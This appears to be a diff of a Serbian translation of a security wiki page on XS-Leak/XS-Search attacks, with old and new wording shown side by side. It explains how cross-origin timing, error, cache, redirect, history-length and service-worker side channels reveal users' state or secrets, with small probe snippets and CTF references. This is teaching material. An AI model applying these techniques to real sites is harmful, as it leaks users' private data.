Servisni radnici su konteksti skripti vođeni događajima koji se izvršavaju na domenu. Oni rade u pozadini web stranice i mogu presresti, modifikovati i **keširati resurse** kako bi stvorili offline web aplikaciju.\
Ako je **resurs keširan** od strane **servisnog radnika** pristupljen putem **iframe-a**, resurs će biti **učitan iz keša servisnog radnika**.\
Da bi se otkrilo da li je resurs **učitan iz keša servisnog radnika**, može se koristiti **Performance API**.\
To se takođe može uraditi sa napadom na vreme (proverite dokument za više informacija).
@ -399,7 +399,7 @@ To se takođe može uraditi sa napadom na vreme (proverite dokument za više inf
### Cache
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Merenje vremena
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
- **Summary:** Moguće je proveriti da li je resurs sačuvan u kešu.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
@ -409,9 +409,9 @@ Korišćenjem [Performance API](xs-search.md#performance-api) moguće je proveri
### Network Duration
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Sadržaj stranice
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
- **Summary:** Moguće je dobiti trajanje mrežnog zahteva iz `performance` API.
- **Summary:** Moguće je dobiti mrežno trajanje zahteva iz `performance` API.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
## Error Messages Technique
@ -419,7 +419,7 @@ Korišćenjem [Performance API](xs-search.md#performance-api) moguće je proveri
### Media Error
- **Inclusion Methods**: HTML Elements (Video, Audio)
- **Detectable Difference**: Status kod
- **Detectable Difference**: Status Code
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
- **Summary:** U Firefox-u je moguće precizno curenje status koda zahteva sa drugog domena.
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
@ -480,7 +480,7 @@ audioElement.onerror = errHandler
- **Sažetak:** U Bezbednosnim Asertivima (SA), CORS poruke greške nenamerno otkrivaju pun URL preusmerenih zahteva.
- **Primer koda**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
Ova tehnika omogućava napadaču da **izvuče odredište preusmerenja sa sajta različitog porekla** iskorišćavajući način na koji Webkit-bazirani pregledači obrađuju CORS zahteve. Konkretno, kada se **CORS-om omogućeni zahtev** šalje na ciljni sajt koji izdaje preusmerenje na osnovu stanja korisnika, a pregledač kasnije odbije zahtev, **pun URL odredišta preusmerenja** se otkriva unutar poruke greške. Ova ranjivost ne samo da otkriva činjenicu preusmerenja, već takođe izlaže odredište preusmerenja i sve **osetljive parametre upita** koje može sadržati.
Ova tehnika omogućava napadaču da **izvuče odredište preusmerenja sa sajta različitog porekla** iskorišćavanjem načina na koji Webkit-bazirani pregledači obrađuju CORS zahteve. Konkretno, kada se **CORS-om omogućeni zahtev** šalje na ciljni sajt koji izdaje preusmerenje na osnovu stanja korisnika, a pregledač kasnije odbije zahtev, **pun URL odredišta preusmerenja** se otkriva unutar poruke greške. Ova ranjivost ne samo da otkriva činjenicu preusmerenja, već takođe izlaže odredište preusmerenja i sve **osetljive parametre upita** koje može sadržati.
### SRI Greška
@ -490,7 +490,7 @@ Ova tehnika omogućava napadaču da **izvuče odredište preusmerenja sa sajta r
- **Sažetak:** U Bezbednosnim Asertivima (SA), CORS poruke greške nenamerno otkrivaju pun URL preusmerenih zahteva.
- **Primer koda**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
Napadač može iskoristiti **detaljne poruke greške** da zaključi veličinu odgovora sa različitih izvora. To je moguće zbog mehanizma Integriteta Podresursa (SRI), koji koristi atribut integriteta da verifikuje da resursi preuzeti, često sa CDN-ova, nisu bili izmenjeni. Da bi SRI radio na resursima sa različitih izvora, oni moraju biti **CORS-om omogućeni**; inače, nisu podložni proverama integriteta. U Bezbednosnim Asertivima (SA), slično CORS grešci XS-Leak, poruka greške može biti zabeležena nakon što zahtev za preuzimanje sa atributom integriteta ne uspe. Napadači mogu namerno **pokrenuti ovu grešku** dodeljujući **lažnu hash vrednost** atributu integriteta bilo kog zahteva. U SA, rezultantna poruka greške nenamerno otkriva dužinu sadržaja traženog resursa. Ova informacija omogućava napadaču da uoči varijacije u veličini odgovora, otvarajući put za sofisticirane XS-Leak napade.
Napadač može iskoristiti **detaljne poruke greške** da zaključi veličinu odgovora sa različitih izvora. To je moguće zbog mehanizma Integriteta Podresursa (SRI), koji koristi atribut integriteta da verifikuje da resursi preuzeti, često sa CDN-ova, nisu bili izmenjeni. Da bi SRI radio na resursima sa različitih izvora, oni moraju biti **CORS-om omogućeni**; inače, nisu podložni proverama integriteta. U Bezbednosnim Asertivima (SA), slično CORS grešci XS-Leak, poruka greške može biti zabeležena nakon što fetch zahtev sa atributom integriteta ne uspe. Napadači mogu namerno **pokrenuti ovu grešku** dodeljujući **lažnu hash vrednost** atributu integriteta bilo kog zahteva. U SA, rezultantna poruka greške nenamerno otkriva dužinu sadržaja traženog resursa. Ova informacija omogućava napadaču da uoči varijacije u veličini odgovora, otvarajući put za sofisticirane XS-Leak napade.
### CSP Kršenje/Detekcija
@ -586,7 +586,7 @@ Napadač može zaključiti prisustvo header-a Politike Otvorene Provere sa Razli
- **Sažetak:** Detektujte razlike u odgovorima jer dužina odgovora preusmerenja može biti prevelika da bi server odgovorio greškom i generisao upozorenje.
- **Primer koda**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
Ako server-side preusmerenje koristi **korisnički unos unutar preusmeravanja** i **dodatne podatke**. Moguće je detektovati ovo ponašanje jer obično **serveri** imaju **ograničenje dužine zahteva**. Ako su **korisnički podaci** te **dužine - 1**, jer **preusmerenje** koristi **te podatke** i **dodaje** nešto **dodatno**, izazvaće **grešku koja se može detektovati putem Grešaka**.
Ako server-side preusmerenje koristi **korisnički unos unutar preusmerenja** i **dodatne podatke**. Moguće je detektovati ovo ponašanje jer obično **serveri** imaju **ograničenje dužine zahteva**. Ako su **korisnički podaci** te **dužine - 1**, jer **preusmerenje** koristi **te podatke** i **dodaje** nešto **dodatno**, izazvaće **grešku koja se može detektovati putem Grešaka**.
Ako možete nekako postaviti kolačiće korisniku, takođe možete izvršiti ovaj napad postavljanjem dovoljno kolačića ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) tako da sa **povećanom veličinom odgovora** **ispravnog odgovora** dođe do **greške**. U ovom slučaju, zapamtite da ako pokrenete ovaj zahtev sa istog sajta, `<script>` će automatski poslati kolačiće (tako da možete proveriti greške).\
Primer **cookie bomb + XS-Search** može se naći u Predloženom rešenju ovog izveštaja: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
@ -609,7 +609,7 @@ Dakle, ako je **preusmereni URL veći u jednom od slučajeva**, moguće je učin
**Uočljiva razlika** je da ako je **preusmerenje** bilo **završeno**, `window.origin` baca **grešku** jer sa različitog porekla ne može pristupiti tim informacijama. Međutim, ako je **ograničenje** \*\*\*\* dostignuto i učitana stranica je **`about:blank#blocked`**, **`origin`** prozora ostaje onaj od **roditelja**, što je **pristupačna informacija.**
Sve dodatne informacije potrebne za dostizanje **2MB** mogu se dodati putem **hash-a** u inicijalnom URL-u tako da će biti **iskorišćene u preusmeravanju**.
Sve dodatne informacije potrebne za dostizanje **2MB** mogu se dodati putem **hash-a** u inicijalnom URL-u tako da će biti **iskorišćene u preusmerenju**.
{{#ref}}
xs-search/url-max-length-client-side.md
@ -620,15 +620,15 @@ xs-search/url-max-length-client-side.md
- **Metode uključivanja**: Fetch API, Okviri
- **Uočljiva razlika**: Status kod
- **Više informacija**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
- **Sažetak:** Iskoristite ograničenje preusmeravanja pregledača da utvrdite da li je došlo do URL preusmeravanja.
- **Sažetak:** Iskoristite ograničenje preusmeranja pregledača da utvrdite da li je došlo do URL preusmeravanja.
- **Primer koda**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
Ako je **maksimalni** broj **preusmeravanja** koji pregledač može pratiti **20**, napadač može pokušati da učita svoju stranicu sa **19 preusmeravanja** i konačno **pošalje žrtvu** na testiranu stranicu. Ako se **greška** izazove, to znači da je stranica pokušavala da **preusmeri žrtvu**.
Ako je **maksimalan** broj **preusmeranja** koji pregledač može pratiti **20**, napadač bi mogao pokušati da učita svoju stranicu sa **19 preusmeranja** i konačno **pošalje žrtvu** na testiranu stranicu. Ako se **greška** izazove, tada je stranica pokušavala da **preusmeri žrtvu**.
### Dužina Istorije
- **Metode uključivanja**: Okviri, Pop-up prozori
- **Uočljiva razlika**: Preusmeravanja
- **Uočljiva razlika**: Preusmeranja
- **Više informacija**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
- **Sažetak:** JavaScript kod manipuliše istorijom pregledača i može se pristupiti putem svojstva dužine.
- **Primer koda**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
@ -639,11 +639,11 @@ Ako je **maksimalni** broj **preusmeravanja** koji pregledač može pratiti **20
### Dužina Istorije sa istim URL-om
- **Metode uključivanja**: Okviri, Pop-up prozori
- **Uočljiva razlika**: Ako je URL isti kao onaj koji se pogađa
- **Uočljiva razlika**: Ako je URL isti kao onaj koji je pogodjen
- **Sažetak:** Moguće je pogoditi da li se lokacija okvira/pop-up prozora nalazi na specifičnom URL-u zloupotrebljavajući dužinu istorije.
- **Primer koda**: Ispod
Napadač može koristiti JavaScript kod da **manipuliše lokacijom okvira/pop-up prozora na pogodnu** i **odmah** **promeni na `about:blank`**. Ako se dužina istorije povećala, to znači da je URL bio tačan i imao je vremena da se **poveća jer se URL ne ponovo učitava ako je isti**. Ako se nije povećala, to znači da je **pokušao da učita pogodjeni URL**, ali zato što smo **odmah nakon** učitali **`about:blank`**, **dužina istorije nikada nije povećana** prilikom učitavanja pogodjenog URL-a.
Napadač bi mogao koristiti JavaScript kod da **manipuliše lokacijom okvira/pop-up prozora na pogodjenom URL-u** i **odmah** **promeni na `about:blank`**. Ako se dužina istorije povećala, to znači da je URL bio tačan i imao je vremena da **poveća jer se URL ne ponovo učitava ako je isti**. Ako se nije povećala, to znači da je **pokušao da učita pogodjeni URL**, ali zato što smo **odmah nakon** učitali **`about:blank`**, **dužina istorije nikada nije povećana** prilikom učitavanja pogodjenog URL-a.
```javascript
async function debug(win, url) {
win.location = url + "#aaa"
@ -740,7 +740,7 @@ U Chrome-u, ako je stranica sa `X-Frame-Options` zaglavljem postavljenim na "den
- **Metode Uključivanja**: Okviri, Pop-up prozori
- **Uočljiva Razlika**: Zaglavlja
- **Više informacija**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
- **Sažetak:** Napadač može razlikovati preuzimanja fajlova koristeći iframe; nastavak pristupa iframe-u implicira uspešno preuzimanje fajla.
- **Sažetak:** Napadač može razaznati preuzimanje fajlova koristeći iframe; nastavak pristupa iframe-u implicira uspešno preuzimanje fajla.
- **Primer Koda**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
`Content-Disposition` zaglavlje, posebno `Content-Disposition: attachment`, naređuje pregledaču da preuzme sadržaj umesto da ga prikaže unutar stranice. Ovo ponašanje se može iskoristiti za detekciju da li korisnik ima pristup stranici koja pokreće preuzimanje fajla. U Chromium-baziranim pregledačima, postoji nekoliko tehnika za detekciju ovog ponašanja preuzimanja:
@ -757,16 +757,16 @@ U Chrome-u, ako je stranica sa `X-Frame-Options` zaglavljem postavljenim na "den
U scenarijima gde samo prijavljeni korisnici mogu pokrenuti takva preuzimanja, ove tehnike se mogu koristiti za indirektno zaključivanje o stanju autentifikacije korisnika na osnovu odgovora pregledača na zahtev za preuzimanje.
### Zaobilaženje Podeljenog HTTP Keša <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
### Zaobilaženje Particionisanog HTTP Keša <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
- **Metode Uključivanja**: Pop-up prozori
- **Uočljiva Razlika**: Vreme
- **Više informacija**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
- **Sažetak:** Napadač može razlikovati preuzimanja fajlova koristeći iframe; nastavak pristupa iframe-u implicira uspešno preuzimanje fajla.
- **Sažetak:** Napadač može razaznati preuzimanje fajlova koristeći iframe; nastavak pristupa iframe-u implicira uspešno preuzimanje fajla.
- **Primer Koda**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (iz [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> [!WARNING]
> Ovo je razlog zašto je ova tehnika zanimljiva: Chrome sada ima **podeljeno keširanje**, a ključ keša nove otvorene stranice je: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, ali ako otvorim ngrok stranicu i koristim fetch u njoj, ključ keša će biti: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **ključ keša je različit**, tako da se keš ne može deliti. Više detalja možete pronaći ovde: [Sticanje bezbednosti i privatnosti deljenjem keša](https://developer.chrome.com/blog/http-cache-partitioning/)\
> Ovo je razlog zašto je ova tehnika zanimljiva: Chrome sada ima **particionisanje keša**, a ključ keša nove otvorene stranice je: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, ali ako otvorim ngrok stranicu i koristim fetch u njoj, ključ keša će biti: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **ključ keša je različit**, tako da se keš ne može deliti. Više detalja možete pronaći ovde: [Sticanje bezbednosti i privatnosti deljenjem keša](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Komentar iz [**ovde**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
Ako sajt `example.com` uključuje resurs sa `*.example.com/resource`, tada će taj resurs imati **isti ključ keša** kao da je resurs direktno **zatražen kroz navigaciju na vrhunskom nivou**. To je zato što se ključ keša sastoji od vrhunskog _eTLD+1_ i okvira _eTLD+1_.
@ -799,7 +799,7 @@ Koristite _**fetch**_ i _**setTimeout**_ sa **AbortController** da detektujete d
- **Metode Uključivanja**: HTML elementi (skripta)
- **Uočljiva Razlika**: Sadržaj stranice
- **Više informacija**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Sažetak:** Moguće je **prepisati ugrađene funkcije** i pročitati njihove argumente čak i iz **cross-origin skripti** (koje se ne mogu direktno pročitati), što može **otkriti dragocene informacije**.
- **Sažetak:** Moguće je **prepisati ugrađene funkcije** i pročitati njihove argumente čak i iz **cross-origin skripti** (koje ne mogu biti direktno pročitane), što može **otkriti dragocene informacije**.
- **Primer Koda**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
### Servisni Radnici <a href="#service-workers" id="service-workers"></a>
@ -810,7 +810,7 @@ Koristite _**fetch**_ i _**setTimeout**_ sa **AbortController** da detektujete d
- **Sažetak:** Merenje vremena izvršenja web-a koristeći servisne radnike.
- **Primer Koda**:
U datom scenariju, napadač preuzima inicijativu da registruje **servisnog radnika** unutar jednog od svojih domena, konkretno "attacker.com". Zatim, napadač otvara novi prozor na ciljanom veb sajtu iz glavnog dokumenta i naređuje **servisnom radniku** da započne tajmer. Kada novi prozor počne da se učitava, napadač navigira referencu dobijenu u prethodnom koraku na stranicu kojom upravlja **servisni radnik**.
U datom scenariju, napadač preuzima inicijativu da registruje **servisnog radnika** unutar jednog od svojih domena, konkretno "attacker.com". Zatim, napadač otvara novi prozor na ciljanom veb sajtu iz glavnog dokumenta i naređuje **servisnom radniku** da započne tajmer. Kada novi prozor počne da se učitava, napadač navigira referencom dobijenom u prethodnom koraku na stranicu kojom upravlja **servisni radnik**.
Po dolasku zahteva pokrenutog u prethodnom koraku, **servisni radnik** odgovara sa **204 (No Content)** status kodom, efikasno prekidajući proces navigacije. U tom trenutku, **servisni radnik** beleži merenje sa tajmera pokrenutog ranije u drugom koraku. Ovo merenje je pod uticajem trajanja JavaScript-a koje uzrokuje kašnjenja u procesu navigacije.
@ -848,18 +848,18 @@ dangling-markup-html-scriptless-injection/
Ako trebate **eksfiltrirati sadržaj** i možete **dodati HTML pre tajne**, trebali biste proveriti **uobičajene tehnike opuštenog markup-a**.\
Međutim, ako iz bilo kog razloga **MORATE** to učiniti **karakter po karakter** (možda je komunikacija putem keširanja), možete koristiti ovu trik.
**Slike** u HTML-u imaju atribut "**loading**" čija vrednost može biti "**lazy**". U tom slučaju, slika će se učitati kada se pogleda, a ne dok se stranica učitava:
**Slike** u HTML-u imaju atribut "**loading**" čija vrednost može biti "**lazy**". U tom slučaju, slika će biti učitana kada se pogleda, a ne dok se stranica učitava:
```html
<img src=/something loading=lazy >
```
Zato, ono što možete učiniti je da **dodate puno beskorisnih karaktera** (Na primer **hiljade "W"**) da **popunite veb stranicu pre tajne ili dodate nešto poput** `<br><canvas height="1850px"></canvas><br>.`\
Tada, ako na primer naša **injekcija pojavi pre zastavice**, **slika** će biti **učitana**, ali ako se pojavi **posle** **zastavice**, zastavica + beskorisni podaci će **sprečiti da se učita** (biće potrebno da eksperimentišete sa tim koliko beskorisnih podataka da stavite). To se desilo u [**ovoj analizi**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Tada, ako na primer naša **injekcija pojavi pre zastavice**, **slika** će biti **učitana**, ali ako se pojavi **posle** **zastavice**, zastavica + beskorisni karakteri će **sprečiti da se učita** (biće potrebno da eksperimentišete sa tim koliko beskorisnih karaktera da stavite). To se desilo u [**ovoj analizi**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Druga opcija bi bila da koristite **scroll-to-text-fragment** ako je dozvoljeno:
#### Scroll-to-text-fragment
Međutim, vi naterate **bot da pristupi stranici** sa nečim poput
Međutim, vi omogućavate **botu da pristupi stranici** sa nečim poput
```
#:~:text=SECR
```

View File

@ -22,15 +22,15 @@ Nekoliko aspekata može se analizirati kako bi se razlikovala stanja Ranjivog We
- **Status kod**: Razlikovanje između **različitih HTTP status kodova odgovora** sa različitih domena, kao što su greške servera, greške klijenta ili greške autentifikacije.
- **Korišćenje API-ja**: Identifikacija **korišćenja Web API-ja** na stranicama, otkrivajući da li stranica sa različitih domena koristi određeni JavaScript Web API.
- **Preusmeravanja**: Otkrivanje navigacija ka različitim stranicama, ne samo HTTP preusmeravanjima, već i onima koje pokreće JavaScript ili HTML.
- **Sadržaj stranice**: Posmatranje **varijacija u telu HTTP odgovora** ili u podresursima stranice, kao što su **broj ugnježdenih okvira** ili razlike u veličini slika.
- **Sadržaj stranice**: Posmatranje **varijacija u telu HTTP odgovora** ili u pod-resursima stranice, kao što su **broj ugnježdenih okvira** ili razlike u veličini slika.
- **HTTP zaglavlje**: Zapažanje prisustva ili moguće vrednosti **određenog HTTP zaglavlja odgovora**, uključujući zaglavlja kao što su X-Frame-Options, Content-Disposition i Cross-Origin-Resource-Policy.
- **Vreme**: Uočavanje doslednih vremenskih razlika između dva stanja.
### Metodi uključivanja
- **HTML elementi**: HTML nudi različite elemente za **uključivanje resursa sa različitih domena**, kao što su stilovi, slike ili skripte, primoravajući pregledač da zatraži ne-HTML resurs. Kompilacija potencijalnih HTML elemenata za ovu svrhu može se naći na [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Okviri**: Elementi kao što su **iframe**, **object** i **embed** mogu direktno ugnježditi HTML resurse u napadačevu stranicu. Ako stranica **nema zaštitu od ugnježdenja**, JavaScript može pristupiti prozoru ugnježdenog resursa putem svojstva contentWindow.
- **Iskočne prozore**: Metod **`window.open`** otvara resurs u novoj kartici ili prozoru, pružajući **handle prozora** za JavaScript da komunicira sa metodama i svojstvima prema SOP-u. Iskočni prozori, često korišćeni u jedinstvenom prijavljivanju, zaobilaze ograničenja ugnježdenja i kolačića ciljanog resursa. Međutim, moderni pregledači ograničavaju kreiranje iskočnih prozora na određene korisničke akcije.
- **Okviri**: Elementi kao što su **iframe**, **object** i **embed** mogu direktno ugraditi HTML resurse u napadačevu stranicu. Ako stranica **nema zaštitu od uokvirivanja**, JavaScript može pristupiti prozoru uokvirenog resursa putem svojstva contentWindow.
- **Iskočne prozore**: Metod **`window.open`** otvara resurs u novoj kartici ili prozoru, pružajući **handle prozora** za JavaScript da komunicira sa metodama i svojstvima prema SOP-u. Iskočni prozori, često korišćeni u jedinstvenom prijavljivanju, zaobilaze ograničenja uokvirivanja i kolačića ciljanog resursa. Međutim, moderni pregledači ograničavaju kreiranje iskočnih prozora na određene korisničke akcije.
- **JavaScript zahtevi**: JavaScript omogućava direktne zahteve ka ciljnim resursima koristeći **XMLHttpRequests** ili **Fetch API**. Ove metode nude preciznu kontrolu nad zahtevom, kao što je opcija da se prati HTTP preusmeravanje.
### Tehnike curenja
@ -49,7 +49,7 @@ XSinator je automatski alat za **proveru pregledača protiv nekoliko poznatih XS
Možete **pristupiti alatu na** [**https://xsinator.com/**](https://xsinator.com/)
> [!WARNING]
> **Isključeni XS-Leaks**: Morali smo da isključimo XS-Leaks koji se oslanjaju na **servisne radnike** jer bi ometali druga curenja u XSinator-u. Pored toga, odlučili smo da **isključimo XS-Leaks koji se oslanjaju na pogrešne konfiguracije i greške u specifičnoj veb aplikaciji**. Na primer, pogrešne konfiguracije Cross-Origin Resource Sharing (CORS), curenje postMessage ili Cross-Site Scripting. Takođe, isključili smo vremenski zasnovane XS-Leaks jer često pate od sporosti, buke i netačnosti.
> **Isključeni XS-Leaks**: Morali smo da isključimo XS-Leaks koji se oslanjaju na **servisne radnike** jer bi ometali druga curenja u XSinator-u. Pored toga, odlučili smo da **isključimo XS-Leaks koji se oslanjaju na pogrešne konfiguracije i greške u specifičnoj veb aplikaciji**. Na primer, pogrešne konfiguracije CrossOrigin Resource Sharing (CORS), curenje postMessage ili Cross-Site Scripting. Takođe, isključili smo vremenski zasnovane XS-Leaks jer često pate od sporosti, buke i netačnosti.
## **Tehnike zasnovane na vremenu**
@ -73,7 +73,7 @@ Za više informacija: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](h
cookie-bomb-+-onerror-xs-leak.md
{{#endref}}
Primer koda pokušava da **učita skripte iz JS**, ali **drugi tagovi** kao što su objekti, stilovi, slike, audio takođe mogu biti korišćeni. Pored toga, takođe je moguće direktno injektovati **tag** i deklarisati `onload` i `onerror` događaje unutar taga (umesto da ih injektujete iz JS).
Primer koda pokušava da **učita skripte iz JS**, ali **drugi tagovi** kao što su objekti, stilovi, slike, audio takođe mogu biti korišćeni. Pored toga, moguće je i direktno injektovati **tag** i deklarisati `onload` i `onerror` događaje unutar taga (umesto da ih injektujete iz JS).
Postoji i verzija ovog napada bez skripti:
```html
@ -97,7 +97,7 @@ performance.now-example.md
#### Onload Timing + Prisilna Teška Zadatak
Ova tehnika je slična prethodnoj, ali **napadač** će takođe **prisiliti** neku akciju da traje **relevantno vreme** kada je **odgovor pozitivan ili negativan** i izmeriti to vreme.
Ova tehnika je slična prethodnoj, ali će **napadač** takođe **prisiliti** neku akciju da traje **relevantno vreme** kada je **odgovor pozitivan ili negativan** i meriti to vreme.
{{#ref}}
performance.now-+-force-heavy-task.md
@ -131,19 +131,19 @@ Primećeno je da u odsustvu [Framing Protections](https://xsleaks.dev/docs/defen
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**:
- **Summary**: Ako možete izazvati grešku na stranici kada se pristupi ispravnom sadržaju i učiniti da se učita ispravno kada se pristupi bilo kojem sadržaju, onda možete napraviti petlju da izvučete sve informacije bez merenja vremena.
- **Summary**: Ako možete da izazovete grešku na stranici kada se pristupi ispravnom sadržaju i da je učitate ispravno kada se pristupi bilo kojem sadržaju, onda možete napraviti petlju da izvučete sve informacije bez merenja vremena.
- **Code Example**:
Pretpostavimo da možete **ubaciti** **stranicu** koja ima **tajni** sadržaj **unutar Iframe-a**.
Možete **naterati žrtvu da pretražuje** datoteku koja sadrži "_**flag**_" koristeći **Iframe** (na primer, eksploatacijom CSRF-a). Unutar Iframe-a znate da će se _**onload događaj**_ **izvršiti uvek barem jednom**. Tada možete **promeniti** **URL** **iframe-a** menjajući samo **sadržaj** **hash-a** unutar URL-a.
Možete **naterati žrtvu da potraži** datoteku koja sadrži "_**flag**_" koristeći **Iframe** (na primer, eksploatacijom CSRF-a). Unutar Iframe-a znate da će _**onload događaj**_ biti **izvršen uvek barem jednom**. Tada možete **promeniti** **URL** **iframe-a** menjajući samo **sadržaj** **hash-a** unutar URL-a.
Na primer:
1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2
Ako je prvi URL **uspešno učitan**, tada, kada **promenite** **hash** deo URL-a, **onload** događaj **neće biti ponovo aktiviran**. Ali **ako** je stranica imala neku vrstu **greške** prilikom **učitavanja**, tada će se **onload** događaj **ponovo aktivirati**.
Ako je prvi URL **uspešno učitan**, tada, kada **promenite** deo **hash-a** URL-a, **onload** događaj **neće biti ponovo aktiviran**. Ali **ako** je stranica imala neku vrstu **greške** prilikom **učitavanja**, tada će **onload** događaj biti **ponovo aktiviran**.
Tada možete **razlikovati** između **ispravno** učitane stranice ili stranice koja ima **grešku** kada se pristupi.
@ -152,7 +152,7 @@ Tada možete **razlikovati** između **ispravno** učitane stranice ili stranice
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**:
- **Summary:** Ako **stranica** **vraća** **osetljiv** sadržaj, **ili** sadržaj koji može biti **kontrolisan** od strane korisnika. Korisnik može postaviti **validan JS kod u negativnom slučaju**, **učitavajući** svaki pokušaj unutar **`<script>`** tagova, tako da u **negativnim** slučajevima **kod** napadača **bude izvršen**, a u **afirmativnim** slučajevima **ništa** neće biti izvršeno.
- **Summary:** Ako **stranica** **vraća** **osetljive** sadržaje, **ili** sadržaj koji može biti **kontrolisan** od strane korisnika. Korisnik može postaviti **validan JS kod u negativnom slučaju**, **učitavajući** svaki pokušaj unutar **`<script>`** tagova, tako da u **negativnim** slučajevima **kod** napadača **bude izvršen**, a u **afirmativnim** slučajevima **ništa** neće biti izvršeno.
- **Code Example:**
{{#ref}}
@ -197,24 +197,24 @@ Aplikacije često koriste [`postMessage` broadcasts](https://developer.mozilla.o
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API Usage
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Summary**: Iscrpljivanje limita WebSocket konekcije otkriva broj WebSocket konekcija stranice sa drugog domena.
- **Summary**: Iscrpljivanje limita WebSocket konekcije curi broj WebSocket konekcija stranice sa drugog domena.
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
Moguće je identifikovati da li i koliko **WebSocket konekcija ciljana stranica koristi**. To omogućava napadaču da otkrije stanje aplikacije i curi informacije vezane za broj WebSocket konekcija.
Moguće je identifikovati da li, i koliko, **WebSocket konekcija koristi ciljana stranica**. To omogućava napadaču da otkrije stanje aplikacije i curi informacije vezane za broj WebSocket konekcija.
Ako jedan **domen** koristi **maksimalan broj WebSocket** objekata, bez obzira na stanje njihovih konekcija, kreiranje **novih objekata će rezultirati JavaScript izuzecima**. Da bi izvršio ovaj napad, napadačka stranica otvara ciljan veb u iskačućem prozoru ili iframe-u, a zatim, nakon što se ciljana stranica učita, pokušava da kreira maksimalan broj WebSocket konekcija. **Broj izbačenih izuzetaka** je **broj WebSocket konekcija koje koristi ciljana stranica**.
